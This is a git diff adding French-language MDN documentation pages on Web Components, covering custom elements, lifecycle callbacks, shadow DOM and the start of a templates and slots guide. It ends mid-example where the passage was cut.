+<h2 id="Activer_les_Web_Components_dans_Firefox">Activer les Web Components dans Firefox</h2>
+
+<p>Les capacités des Web Components sont désactivées par défaut dans Firefox. Pour les activer, allez sur la page <code>about:config</code> et rejetez toutes les alertes qui apparaissent. Cherchez ensuite la préférence nommée <strong>dom.webcomponents.enabled</strong>, et changez la à <strong>true</strong> par un double clic.</p>
+
+<p><img alt="Firefox enable web components" src="https://mdn.mozillademos.org/files/10145/enable-wc.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Custom Elements', "", "")}}</td>
+   <td>{{Spec2('Custom Elements')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', "", "")}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Imports', "", "")}}</td>
+   <td>{{Spec2('HTML Imports')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Scope", "", "")}}</td>
+   <td>{{Spec2('CSS Scope')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/web_components/using_custom_elements/index.html b/files/fr/web/web_components/using_custom_elements/index.html
new file mode 100644
index 0000000000..961cd5f517
--- /dev/null
+++ b/files/fr/web/web_components/using_custom_elements/index.html
@@ -0,0 +1,251 @@
+---
+title: Utilisation d'éléments personnalisés
+slug: Web/Web_Components/Using_custom_elements
+tags:
+  - Classes
+  - Guide
+  - Web Components
+  - autonomous
+  - custom elements
+  - customized
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">L'un des aspects les plus importants des composants web est la possibilité de créer des éléments personnalisés qui encapsulent bien vos fonctionnalités sur une page HTML, plutôt que de devoir se contenter d'une soupe de balises définissant des fonctionnalités personnalisées. Cet article passe en revue les bases de l'utilisation d'éléments personnalisés.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Les éléments personnalisés sont pris en charge par défaut dans Chrome et Opera. Firefox en est très proche, ils sont disponibles si vous mettez les préférences dom.webcomponents.enabled et dom.webcomponents.customelements.enabled à true, leur implémentation étant prévue pour être activée par défaut dans la version 60/61. Safari ne prend en charge que les éléments personnalisés indépendants pour l'instant, et Edge travaille de même sur une implémentation.</p>
+</div>
+
+<h2 id="Vue_d'ensemble">Vue d'ensemble</h2>
+
+<p>Le contrôleur des éléments personnalisés d'un document Web est l'objet {{domxref("CustomElementRegistry")}} ; cet objet vous permet d'enregistrer un élément personnalisé sur une page, de renvoyer des informations sur les éléments personnalisés enregistrés, etc..</p>
+
+<p>Pour enregistrer un élément personnalisé sur la page, vous utilisez la méthode {{domxref ("CustomElementRegistry.define()")}}. Elle prend comme arguments :</p>
+
+<ul>
+ <li>une {{domxref("DOMString")}} représentant le nom que vous donnez à l'élément ; notez que les noms d'éléments personnalisés doivent comprendre un tiret ; ils ne peuvent pas être des mots simples ;</li>
+ <li>un objet de classe définissant le comportement de l'élément ;</li>
+ <li>facultativement, un objet d'options contenant une propriété extends, qui indique l'élément intégré dont votre élément hérite, le cas échéant.</li>
+</ul>
+
+<p>Ainsi, par exemple, la définition de notre <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">élément word-count</a> personnalisé ressemble à ce qui suit :</p>
+
+<pre class="brush: js">customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<p>L'élément est appelé <code>word-count</code>, son objet de classe est <code>WordCount</code>, et il étend l'élément {{htmlelement("p")}}.</p>
+
+<p>L'objet de classe d'un élément personnalisé est écrit en utilisant la syntaxe de classe ES 2015 standard. Par exemple, <code>WordCount</code> est structuré comme suit :</p>
+
+<pre class="brush: js">class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Toujours appeler "super" d'abord dans le constructeur
+    super();
+
+    // Ecrire la fonctionnalité de l'élément ici
+
+    ...
+  }
+}</pre>
+
+<p>C'est juste un exemple simple, mais vous pouvez faire plus ici. Il est possible de définir des rappels de cycle de vie particuliers dans le constructeur, rappels qui s'exécutent à des points particuliers du cycle de vie de l'élément. Par exemple, <code>connectedCallback</code> est appelé lorsque l'élément personnalisé est connecté pour la première fois au DOM du document, tandis que <code>attributeChangedCallback</code> est appelé lorsque l'un des attributs de l'élément personnalisé est ajouté, supprimé ou modifié.</p>
+
+<p>Vous en apprendrez plus à ce sujet dans notre section {{anch("Using the lifecycle callbacks")}} ci-dessous.</p>
+
+<p>Il existe deux types d'éléments personnalisés :</p>
+
+<ul>
+ <li>les <strong>éléments personnalisés autonomes</strong> sont indépendants : ils n'héritent pas des éléments HTML standard ; vous les utilisez sur une page en les écrivant littéralement en tant qu'élément HTML ; par exemple <code>&lt;popup-info&gt;</code>, ou <code>document.createElement("popup-info")</code> ;</li>
+ <li>les <code>éléments intégrés personnalisés</code> héritent des éléments HTML de base. Pour en créer un, vous devez spécifier quel élément ils étendent (comme indiqué dans les exemples ci-dessus), et ils sont utilisés en écrivant l'élément de base, mais en indiquant le nom de l'élément personnalisé dans l'attribut (ou la propriété) {{htmlattrxref("is" )}} ; par exemple &lt;p is="word-count"&gt; ou document.createElement("p", {is: "word-count"}).</li>
+</ul>
+
+<h2 id="Passage_en_revue_de_quelques_exemples_simples">Passage en revue de quelques exemples simples</h2>
+
+<p>À ce stade, examinons quelques exemples plus simples pour vous montrer plus en détail comment des éléments personnalisés sont créés.</p>
+
+<h3 id="Éléments_personnalisés_indépendants">Éléments personnalisés indépendants</h3>
+
+<p>Jetons un coup d'oeil à un élément personnalisé indépendant : <a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a> (voir un <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">exemple en direct</a>). Il prend une icône d'image et une chaîne de texte, et intègre l'icône dans la page.</p>
+
+<p>Lorsque l'icône reçoit la focalisation, elle affiche le texte dans une boîte d'information contextuelle pour fournir d'autres informations contextuelles.</p>
+
+<p>Pour commencer, dans notre fichier JavaScript, nous définissons une classe appelée <code>PopUpInfo</code> qui étend {{domxref("HTMLElement")}}. Les éléments personnalisés indépendants étendent presque toujours <code>HTMLElement</code>.</p>
+
+<pre class="brush: js">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Toujours appeler "super" d'abord dans le constructeur
+    super();
+
+    // Ecrire la fonctionnalité de l'élément ici
+    ...
+  }
+}</pre>
+
+<p>On y trouve la définition {{jsxref("Classes.constructor","constructor")}} de la classe, qui commence comme toujours par appeler super(), afin que la chaîne de prototype correcte soit définie.</p>
+
+<p>Dans le constructeur, nous définissons toutes les fonctionnalités que l'élément aura lorsqu'une instance de celui-ci sera instanciée. Dans ce cas, nous attachons une racine fantôme à l'élément personnalisé, nous utilisons une manipulation DOM pour créer la structure DOM interne de l'élément - qui est ensuite attachée à la racine fantôme ; et finalement, nous attachons du CSS à la racine fantôme pour la mettre en forme.</p>
+
+<pre class="brush: js">// Création d'une racine fantôme
+var shadow = this.attachShadow({mode: 'open'});
+
+// Création des spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Prendre le contenu de l'attribut et le mettre dans le span d'info
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insérer l'icône
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+
+// Création du CSS à appliquer au dom fantôme
+var style = document.createElement('style');
+
+style.textContent = '.wrapper {' +
+// CSS tronqué pour la concision
+
+// Attacher les éléments créés au dom fantôme
+
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<p>Enfin, nous enregistrons notre élément personnalisé dans le <code>CustomElementRegistry</code> à l'aide de la méthode <code>define()</code> mentionnée précédemment ; dans les paramètres, nous spécifions le nom de l'élément, puis le nom de la classe qui définit sa fonctionnalité :</p>
+
+<pre class="brush: js">customElements.define('popup-info', PopUpInfo);</pre>
+
+<p>Il est maintenant disponible pour utilisation dans notre page. Dans notre code HTML, nous l'utilisons comme ceci :</p>
+
+<pre class="brush: html">&lt;popup-info img="img/alt.png" text="Your card validation code (CVC)
+  is an extra security feature — it is the last 3 or 4 numbers on the
+  back of your card."&gt;</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Vous pouvez voir le <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-web-component/main.js">full JavaScript source code</a> ici.</p>
+</div>
+
+<h3 id="Eléments_intégrés_personnalisés">Eléments intégrés personnalisés</h3>
+
+<p>Jetons maintenant un coup d'œil à un autre exemple d'élément intégré - <a href="https://github.com/mdn/web-components-examples/tree/master/expanding-list-web-component">expanding-list</a> (<a href="https://mdn.github.io/web-components-examples/expanding-list-web-component/">voir aussi en direct</a>). Cela transforme n'importe quelle liste non ordonnée en un menu déployable/refermable.</p>
+
+<p>Tout d'abord, nous définissons la classe de notre élément, de la même manière que précédemment :</p>
+
+<pre class="brush: js">class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Toujours appeler "super" d'abord dans le constructeur
+    super();
+
+    // Ecrire la fonctionnalité de l'élément ici
+
+    ...
+  }
+}</pre>
+
+<p>Nous n'expliquerons pas en détail la fonctionnalité de l'élément ici, mais vous pouvez découvrir comment elle fonctionne en regardant le code source. La seule vraie différence ici est que notre élément étend l'interface {{domxref("HTMLUListElement")}}, et non {{domxref("HTMLElement")}}. Il a donc toutes les caractéristiques d'un élément {{htmlelement ("ul")}} avec la fonctionnalité que nous définissons par dessus, plutôt que d'être un élément indépendant. C'est ce qui en fait un élément intégré personnalisé plutôt qu'un élément indépendant.</p>
+
+<p>Ensuite, nous enregistrons l'élément en utilisant la méthode <code>define()</code> comme précédemment, sauf que cette fois, il comprend également un objet options qui détaille l'élément dont notre élément personnalisé hérite :</p>
+
+<pre class="brush: js">customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>L'utilisation de l'élément intégré dans un document web se présente également de façon quelque peu différente :</p>
+
+<pre class="brush: html">&lt;ul is="expanding-list"&gt;
+
+  ...
+
+&lt;/ul&gt;</pre>
+
+<p>Vous utilisez l'élément <code>&lt;ul&gt;</code> comme d'habitude, mais vous spécifiez le nom de l'élément personnalisé dans l'attribut <code>is</code>.</p>
+
+<div class="note">
+<p><strong>Note </strong>: à nouveau, vous pouvez voir le <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">JavaScript source code</a> complet ici.</p>
+</div>
+
+<h2 id="Utilisation_des_rappels_de_cycle_de_vie">Utilisation des rappels de cycle de vie</h2>
+
+<p>Vous pouvez définir plusieurs rappels différents dans le constructeur d'un élément personnalisé, qui se déclenchent à différents points du cycle de vie de l'élément :</p>
+
+<ul>
+ <li>connectedCallback : appelé lorsque l'élément personnalisé est connecté pour la première fois au DOM du document ;</li>
+ <li>disconnectedCallback : appelé lorsque l'élément personnalisé est déconnecté du DOM du document ;</li>
+ <li>adoptedCallback : appelé lorsque l'élément personnalisé est déplacé vers un nouveau document ;</li>
+ <li>attributeChangedCallback : appelé lorsque l'un des attributs de l'élément personnalisé est ajouté, supprimé ou modifié.</li>
+</ul>
+
+<p>Jetons un coup d'œil à un exemple de ceux-ci en cours d'utilisation. Le code ci-dessous est tiré de notre exemple de <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">rappels de cycle de vie</a> (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks/">le voir s'exécuter en direct</a>). C'est un exemple trivial qui génère simplement un carré coloré de taille fixe sur la page. L'élément personnalisé ressemble à ceci :</p>
+
+<pre class="brush: html">&lt;custom-square l="100" c="red"&gt;&lt;/custom-square&gt;</pre>
+
+<p>Le constructeur de classe est vraiment simple - ici, nous attachons un DOM à l'élément, puis nous attachons les éléments vides {{htmlelement("div")}} et {{htmlelement("style")}} à la racine fantôme :</p>
+
+<pre class="brush: js">var shadow = this.attachShadow({mode: 'open'});
+
+var div = document.createElement('div');
+var style = document.createElement('style');
+shadow.appendChild(style);
+shadow.appendChild(div);</pre>
+
+<p>La fonction clé dans cet exemple est <code>updateStyle()</code> : elle prend un élément, récupère sa racine fantôme, retrouve son élément <code>&lt;style&gt;</code>, et ajoute {{cssxref("width")}}, {{cssxref("height")}}, et {{cssxref("background-color")}} au style.</p>
+
+<pre class="brush: js">function updateStyle(elem) {
+  var shadow = elem.shadowRoot;
+  var childNodes = shadow.childNodes;
+  for(var i = 0; i &lt; childNodes.length; i++) {
+    if(childNodes[i].nodeName === 'STYLE') {
+      childNodes[i].textContent = 'div {' +
+                          ' width: ' + elem.getAttribute('l') + 'px;' +
+                          ' height: ' + elem.getAttribute('l') + 'px;' +
+                          ' background-color: ' + elem.getAttribute('c');
+    }
+  }
+}</pre>
+
+<p>Les mises à jour réelles sont toutes gérées par les rappels du cycle de vie, qui sont placés dans le constructeur. Le <code>connectedCallback()</code> s'exécute quand l'élément est ajouté au DOM : ici, nous exécutons la fonction <code>updateStyle()</code> pour nous assurer que le carré est mis en forme comme défini dans ses attributs :</p>
+
+<pre class="brush: js">connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}</pre>
+
+<p>Les rappels <code>disconnectedCallback()</code> et <code>adoptedCallback()</code> enregistrent des messages simples sur la console pour nous informer lorsque l'élément est supprimé du DOM ou déplacé vers une autre page :</p>
+
+<pre class="brush: js">disconnectedCallback() {
+  console.log('Custom square element removed from page.');
+}
+
+adoptedCallback() {
+  console.log('Custom square element moved to new page.');
+}</pre>
+
+<p>Le rappel <code>attributeChangedCallback()</code> est exécuté chaque fois que l'un des attributs de l'élément est modifié d'une façon ou d'une autre. Comme vous pouvez le voir à partir de ses propriétés, il est possible d'agir sur les attributs individuellement, en regardant leur nom ainsi que les anciennes et nouvelles valeurs des attributs. Dans ce cas cependant, nous exécutons juste la fonction <code>updateStyle()</code> pour nous assurer à nouveau que la mise en forme du carré est mise à jour selon les nouvelles valeurs :</p>
+
+<pre class="brush: js">attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}</pre>
+
+<p>Notez que, pour déclencher le rappel <code>attributeChangedCallback()</code> lorsqu'un attribut change, vous devez observer les attributs. Cela est réalisé en appelant le getter <code>observedAttributes()</code> dans le constructeur, en incluant à l'intérieur une instruction return qui retourne un tableau contenant les noms des attributs que vous voulez observer :</p>
+
+<pre class="brush: js">static get observedAttributes() {return ['w', 'l']; }</pre>
+
+<p>Dans notre exemple, cela est mis au tout début du constructeur.</p>
+
+<div class="note">
+<p><strong>Note </strong>: vous pouvez trouver le <a href="https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js">full JavaScript source</a> .</p>
+</div>
diff --git a/files/fr/web/web_components/using_shadow_dom/index.html b/files/fr/web/web_components/using_shadow_dom/index.html
new file mode 100644
index 0000000000..2b534f8358
--- /dev/null
+++ b/files/fr/web/web_components/using_shadow_dom/index.html
@@ -0,0 +1,223 @@
+---
+title: Utiliser le shadow DOM
+slug: Web/Web_Components/Using_shadow_DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - Web Components
+  - shadow dom
+translation_of: Web/Web_Components/Using_shadow_DOM
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Un aspect important des composants web est l'encapsulation — être capable de garder la structure de balisage, le style et le comportement cachés et séparés du reste de code de la page tel que différentes parties n'entrent pas en conflit et que le code puisse rester agréable et propre. L'API Shadow DOM est un moyen d'y parvenir, fournissant une manière d'associer à un élément un DOM séparé et caché. Cet article couvre les bases de l'utilisation du DOM fantôme.</p>
+
+<div class="note">
+<p><strong>Note</strong>: l'API Shadow DOM est supportée par défaut dans Firefox (63 et suivants), Chrome, Opera, et Safari. Le nouveau Edge basé sur Chromium (75 et suivants) le supportent aussi; le vieux Edge ne le supporte.</p>
+</div>
+
+<h2 id="Vue_de_haut_niveau">Vue de haut niveau</h2>
+
+<p>Cet article suppose que vous êtes déjà familier avec le concept de <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM (Document Object Model)</a> — une structure arborescente de nœuds connectés représentant les différents éléments et chaines de textes apparaissant dans un document balisé (généralement un document HTML dans le cas de documents web). Par exemple, considérez le fragment HTML suivant :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Simple exemple de DOM&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+      &lt;section&gt;
+        &lt;img src="dinosaur.png" alt="Un tyrannosaurus Rex rouge : un dinosaure bipède se tenant debout comme un humain, avec de petits bras et une large gueule à nombreuses dents tranchantes."&gt;
+        &lt;p&gt;Nous ajouterons ici un lien vers la &lt;a href="https://www.mozilla.org/"&gt;page d'accueil de Mozilla&lt;/a&gt;&lt;/p&gt;
+      &lt;/section&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Ce fragment produit la structure DOM suivante :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14559/dom-screenshot.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Le DOM fantôme permet à des arbres DOM cachés d'être associés à des éléments de l'arbre DOM principal — cet arbre DOM fantôme s'ouvre avec une racine fantôme placée sous n'importe quel élément voulu, de la même manière que dans le DOM normal.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15788/shadow-dom.png" style="height: 543px; width: 1138px;"></p>
+
+<p>Il y a quelques termes de la terminologie du DOM fantôme que vous devez connaitre :</p>
+
+<ul>
+ <li><strong>Hôte fantôme </strong>: le nœud du DOM principal auquel le DOM fantôme est associé.</li>
+ <li><strong>Arbre fantôme</strong>: l'arbre DOM au sein du DOM fantôme.</li>
+ <li><strong>Frontière fantôme</strong>: la limite où le DOM fantôme se termine et où le DOM principal commence.</li>
+ <li><strong>Racine fantôme</strong>: le nœud racine de l'arbre fantôme.</li>
+</ul>
+
+<p>Vous pouvez affecter les nœuds du DOM fantôme exactement de la même manière que pour les nœuds du DOM principal — par exemple en leur ajoutant des éléments enfants ou en leur définissant des atributs, en stylisant des nœuds individuels au moyen de <code>element.style.propriete</code>, ou en ajoutant du style à l'arbre DOM fantôme entier via une balise {{htmlelement("style")}}. La différence est que le code au sein du DOM fantôme ne peut affecter aucun élément en-dehors de son arbre, permettant de mettre en œuvre une encapsulation très commode.</p>
+
+<p>Notez que le DOM fantôme n'est pas une nouvelle chose du tout — les navigateurs l'ont utilisé depuis longtemps pour encapsuler la structure interne d'un élément. Pensez par exemple à un élément {{htmlelement("video")}}, avec les contrôles par défaut du navigateur apparents. Tout ce que vous voyez dans le DOM est l'élément <code>&lt;video&gt;</code>, mais il contient plusieurs boutons et autres contrôles au sein de son DOM fantôme. La spécification du DOM fantôme a été conçue de telle manière que vous êtes autorisés à manipuler le DOM fantôme de vos propres éléments personnalisés.</p>
+
+<h2 id="Usage_basique">Usage basique</h2>
+
+<p>Vous pouvez associer une racine fantôme à tout élément en utilisant la méthode {{domxref("Element.attachShadow()")}}. Elle prend en paramètres un objet d'options contenant une option — <code>mode</code> — ayant pour valeur <code>open</code> (ouvert) ou <code>closed</code> (fermé) :</p>
+
+<pre class="brush: js">let fantome = element.attachShadow({mode: 'open'});
+let fantome = element.attachShadow({mode: 'closed'});</pre>
+
+<p><code>open</code> signifie que vous pouvez accéder au DOM fantôme en utilisant du JavaScript écrit dans le contexte de la page principale, par exemple en utilisant la propriété {{domxref("Element.shadowRoot")}} :</p>
+
+<pre class="brush: js">let monDomFantome = monElementPerso.shadowRoot;</pre>
+
+<p>Si vous associez une racine fantôme à un élément personnalisé avec la propriété <code>mode</code> définie à <code>closed</code>, vous ne serez pas autorisé à acéder au DOM fantôme depuis l'extérieur — <code>monElementPerso.shadowRoot</code> retournera <code>null</code>. C'est le casavec les éléments natifs contenant des DOM fantômes tels que <code>&lt;video&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Comme montre <a href="https://blog.revillweb.com/open-vs-closed-shadow-dom-9f3d7427d1af">cet article de blog</a>, il est actuellement assez simple de pénétrer les DOM fantômes fermés, et les cacher complètement n'en vaut souvent pas la peine.</p>
+</div>
+
+<p>Si vous voulez associer un DOM fantôme à un élément personnalisé en tant que partie de son constructeur (de loin la plus utile application du DOM fantôme), vous devriez utiliser quelque instruction comme :</p>
+
+<pre class="brush: js">let fantome = this.attachShadow({mode: 'open'});</pre>
+
+<p>Lorsque vous avez associé un DOM fantôme à un élément, le manipuler consiste seulement à utiliser les API du DOM telles que vous les utilisez pour manipuler le DOM principal :</p>
+
+<pre class="brush: js">let paragraphe = document.createElement('p');
+fantome.appendChild(paragraphe);
+// etc.</pre>
+
+<h2 id="Démonstration_au_travers_dun_exemple_simple">Démonstration au travers d'un exemple simple</h2>
+
+<p>Maintenant, visitons un exemple simple pour faire une démonstration du DOM fantôme en action au sein d'un élément personnalisé — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (en voir aussi un <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">exemple dynamique</a>). Il prend un icône et une chaine de caractères et intègre l'image dans la page. Quand l'icône obtient l'attention (<code>:focus</code>), le texte s'affiche dans une fenêtre indépendante pour fournir plus d'informations contextuelles. Pour commencer, nous définissons dans notre fichier JavaScript une classe appelée <code>PopUpInfo</code>, qui étend <code>HTMLElement</code>:</p>
+
+<pre class="brush: js">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Toujours appeler super en premier dans le constructeur
+    super();
+
+    // Écrire les fonctionnalités de l'élément ici
+
+    ...
+  }
+}</pre>
+
+<p>Au sein de la définition de la classe, nous créons le constructeur de l'élément, qui définit toutes les fonctionnalités que l'élément aura lorsqu'une instance est créée.</p>
+
+<h3 id="Créer_la_racine_fantôme">Créer la racine fantôme</h3>
+
+<p>Nous associns d'abord une racine fantôme à l'élément personnalisé :</p>
+
+<pre class="brush: js">// Créer une racine fantome
+var fantome = this.attachShadow({mode: 'open'});</pre>
+
+<h3 class="brush: js" id="Créer_la_structure_du_DOM_fantôme">Créer la structure du DOM fantôme</h3>
+
+<p class="brush: js">Ensuite, nous utilisons des outils de manipulation du DOM pour créer la structure interne du DOM fantôme de notre élément:</p>
+
+<pre class="brush: js">// Créer les &lt;span&gt;
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+</pre>
+
+<h3 class="brush: js" id="Styliser_le_DOM_fantôme">Styliser le DOM fantôme</h3>
+
+<p class="brush: js">Après celà, nous créons un élément {{htmlelement("style")}} et nous l'emplissons avec du CSS pour personnaliser notre arbre DOM :</p>
+
+<pre class="brush: js">// Créer quelque CSS à appliquer au dom fantôme
+var style = document.createElement('style');
+
+style.textContent = `
+.wrapper {
+  position: relative;
+}
+
+.info {
+  font-size: 0.8rem;
+  width: 200px;
+  display: inline-block;
+  border: 1px solid black;
+  padding: 10px;
+  background: white;
+  border-radius: 10px;
+  opacity: 0;
+  transition: 0.6s all;
+  position: absolute;
+  bottom: 20px;
+  left: 10px;
+  z-index: 3;
+}
+
+img {
+  width: 1.2rem;
+}
+
+.icon:hover + .info, .icon:focus + .info {
+  opacity: 1;
+}`;
+
+</pre>
+
+<h3 id="Associer_le_DOM_fantôme_à_la_racine_fantôme">Associer le DOM fantôme à la racine fantôme</h3>
+
+<p>L'étape finale est d'associer tous les éléments créés à la racine fantôme :</p>
+
+<pre class="brush: js">// Associer les éléments créés au dom fantôme
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<h3 id="Utiliser_notre_élément_personnalisé">Utiliser notre élément personnalisé</h3>
+
+<p>Une fois que la classe est définie, utiliser l'élément est aussi simple que de le définir, et l'ajouter sur la page, comme expliqué dans <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Utiliser les éléments personnalisés</a> :</p>
+
+<pre class="brush: js">// Définit le nouvel élément
+customElements.define('popup-info', PopUpInfo);</pre>
+
+<pre class="brush: html">&lt;<span class="pl-ent">popup-info</span> <span class="pl-e">img</span>=<span class="pl-s"><span class="pl-pds">"</span>img/alt.png<span class="pl-pds">"</span></span> <span class="pl-e">text</span>=<span class="pl-s"><span class="pl-pds">"</span>Your card validation code (CVC) is an extra
+                                    security feature — it is the last 3 or 4
+                                    numbers on the back of your card.<span class="pl-pds">"</span></span>&gt;</pre>
+
+<div>
+<h3 id="Styles_internes_ou_styles_externes">Styles internes ou styles externes</h3>
+
+<p>Dans l'exemple précédent, nous appliquons du style au DOM fantôme en utilisant l'élément {{htmlelement("style")}}, mais il est parfaitement possible de le faire en référençant une feuille de style externe avec un élément {{htmlelement("link")}} si vous le préférez.</p>
+
+<p>Par exemple, regardez ce code tiré de l'exemple <a href="https://mdn.github.io/web-components-examples/popup-info-box-external-stylesheet/">popup-info-box-external-stylesheet</a> (voir le <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-external-stylesheet/main.js">code source</a>):</p>
+
+<pre class="brush: js">// Appliquer les styles externes au dom fantôme
+const linkElem = document.createElement('link');
+linkElem.setAttribute('rel', 'stylesheet');
+linkElem.setAttribute('href', 'style.css');
+
+// Associer l'élément créé au dom fantôme
+shadow.appendChild(linkElem);</pre>
+
+<p>Notez que les éléments {{htmlelement("link")}} ne bloquent pas les repeinturages de la racine fantôme, donc il pourrait y avoir une latence où le contenu serait sans style (FOUC) pendant que la feuille de style se charge.</p>
+
+<p>De nombreux navigateurs modernes implantent une optimisation pour les balises {{htmlelement("style")}} clonées depuis un nœud commun ou qui ont des contenus identiques à fin de leur permettre de partager une unique liste de retour. Avec cette optimisation, la performance des styles externes et internes doivent être similaires.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Utiliser les éléments personnalisés</a></li>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Utiliser les modèles (templates) et les emplacements (slots)</a></li>
+</ul>
+</div>
diff --git a/files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html b/files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html
new file mode 100644
index 0000000000..b23a8c9632
--- /dev/null
+++ b/files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html
@@ -0,0 +1,332 @@
+---
+title: Utilisation des templates et des slots
+slug: Web/Web_Components/Utilisation_des_templates_et_des_slots
+tags:
+  - Composant web
+  - HTML
+  - Template
+  - shadow dom
+  - slot
+translation_of: Web/Web_Components/Using_templates_and_slots
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Cet article explique comment vous pouvez utiliser les éléments {{htmlelement("template")}} et {{htmlelement("slot")}} pour créer un template flexible qui peut ensuite être utilisé pour alimenter le Shadow DOM d'un composant Web.</p>
+
+<h2 id="La_vérité_sur_les_templates">La vérité sur les templates</h2>
+
+<p>Lorsqu'une structure de balises se répète sur une page Web, il est judicieux d'utiliser un template plutôt que d'écrire cette même structure encore et encore. Il était déjà possible de le faire, mais l'élément HTML {{htmlelement("template")}} (bien supporté par les navigateurs modernes) nous facilite la tâche. Cet élément et ce qu'il renferme n'est pas directement retranscrit dans le DOM, mais peut par contre toujours être manipulé avec JavaScript.</p>
+
+<p>Voyons un exemple simple:</p>
+
+<pre class="brush: html">&lt;template id="my-paragraph"&gt;
+  &lt;p&gt;My paragraph&lt;/p&gt;
+&lt;/template&gt;</pre>
+
+<p>Le tag <code>&lt;template&gt;</code> et ce qu'il contient restera invisible sur la page tant qu'aucune référence n'y sera faite dans le code JavaScript puis ajouté au DOM, en utilisant par exemple:</p>
+
+<pre class="brush: js">let template = document.getElementById('my-paragraph');
+let templateContent = template.content;
+document.body.appendChild(templateContent);</pre>
+
+<p>Quoique trivial, cet exemple vous permet d'entrevoir l'interêt d'utiliser des templates.</p>
+
+<h2 id="Accorder_templates_et_composants_Web">Accorder templates et composants Web</h2>
+
+<p>Les templates sont utiles en eux-mêmes, mais ils fonctionnent encore mieux avec des composants Web. Créons un composant Web qui utilise notre template comme contenu de son Shadow DOM. Nous l'appellerons <code>&lt;my-paragraph&gt;</code>:</p>
+
+<pre class="brush: js">customElements.define('my-paragraph',
+  class extends HTMLElement {
+    constructor() {
+      super();
